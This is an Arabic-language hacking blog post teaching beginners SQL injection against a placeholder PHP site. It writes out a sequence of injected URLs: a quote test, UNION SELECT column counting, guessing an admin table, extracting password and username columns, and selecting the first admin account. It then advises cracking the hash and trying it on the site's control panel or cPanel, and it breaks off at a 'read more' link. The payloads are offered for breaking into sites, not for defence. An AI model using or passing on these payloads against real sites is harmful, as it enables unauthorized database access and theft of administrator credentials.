مدونة الهكر

http://xxxx.com/alm7ben/page.php?id=1

نضيف العلامات التاليه اي وحده

http://xxxx.com/alm7ben/page.php?id=1‘

يوم
اضفنا العلامه ‘ ظهر لنا الخطا

شوفو وش ظهر لنا

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL
result resource in /home/xxxx/public_html/alm7ben/page.php?id=1
on line 8

الحين جاء وقت
اضافه union+select او union
select كلها واحد بس حطيت علامه زائد للمبتداين

نحط علامه سالب
قبل الواحد

http://xxxx.com/alm7ben/page.php?id=-1+union+select+1/*

الان نضيف
الارقام تزايد لين مايختفي الخطا ويطلع ارقام مثال

http://xxxx.com/alm7ben/page.php?id=-1+union+select+1+2+3+4+5+6+7+8+9+10+11+12/*

طبعا اختفا الخطا
وظهرت الصفحه طبعا اذا اختفى الخطا يظهر صفحه التصميم والرقم واضح

طلع لنا الرقم 5
طيب

الان نضيف
الجدوال اللي فيه اليوزرات

http://xxxx.com/alm7ben/page.php?id=-1+union+select+1+2+3+4+5+6+7+8+9+10+11+12+from+admin/*

طبعا كلمه
from اساسيه لازم تضيفه باي حقن ؟؟ وكلمه
admin يمكن ماتظبط خمن لك اسم جدول مثل

user -users االكثير طبعا انا اضفت
user وماظبط؟ واضفت admin
وتمام اختفى الخطا

الان رقم 5 ظاهر
لنا وش نسوي فيه؟

نضيف له كلمات
مثل

password

pass

الخ

طيب نضيف لان

http://xxxx.com/alm7ben/page.php?id=-1+union+select+1+2+3+4+password+6+7+8+9+10+11+12+from+admin/*

اذا مافيه حقل ؟

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL
result resource in /home/xxxx/public_html/alm7ben/page.php?id=1
on line 8

طيب نجرب حقل
pass

http://xxxx.com/alm7ben/page.php?id=-1+union+select+1+2+3+4+pass+6+7+8+9+10+11+12+from+admin/*

والله اختفى
الخطا تمام وطلع لنا الباسوورد مشفر فكه باي طريقه

http://xxxx.com/alm7ben/page.php?id=-1+union+select+1+2+3+4+admin+6+7+8+9+10+11+12+from+admin/*

طيب نجرب ندخل
للوحه تحكم السكربت وليس cpane ? هذا اكبر خطا يقع
في المبتداين

لاطلعو الباسوورد
يروحون للوحه تحكم سابنيل ممكن تصدف صح؟ كيف ؟ ياخذ يوزر الموقع اللي ظاهر
بالخطا

ويفك الباسوورد
اللي ظهر له بالاستعلام ويجرب يمكن تمشي تمام ؟

طيب الان نجي
ندخل لوحه تحكم ؟ عيا يدخل وش السالفه؟ انا اقولك ليش

الان استعلمنا عن
يوزر وطلع لنا يوزر غير يعني حنا نبي العضويه الاولى كيف؟

انا اقولك

http://xxxx.com/alm7ben/page.php?id=-1+union+select+1+2+3+4+admin+6+7+8+9+10+11+12+from+admin+where+adminid=1/*

تمام ظهر لنا
يوزر غير الاول ؟ العضويه الاولى طيب الباسوورد نفس الطريقه بس تغير كلمه أكمل قراءة بقية الموضوع »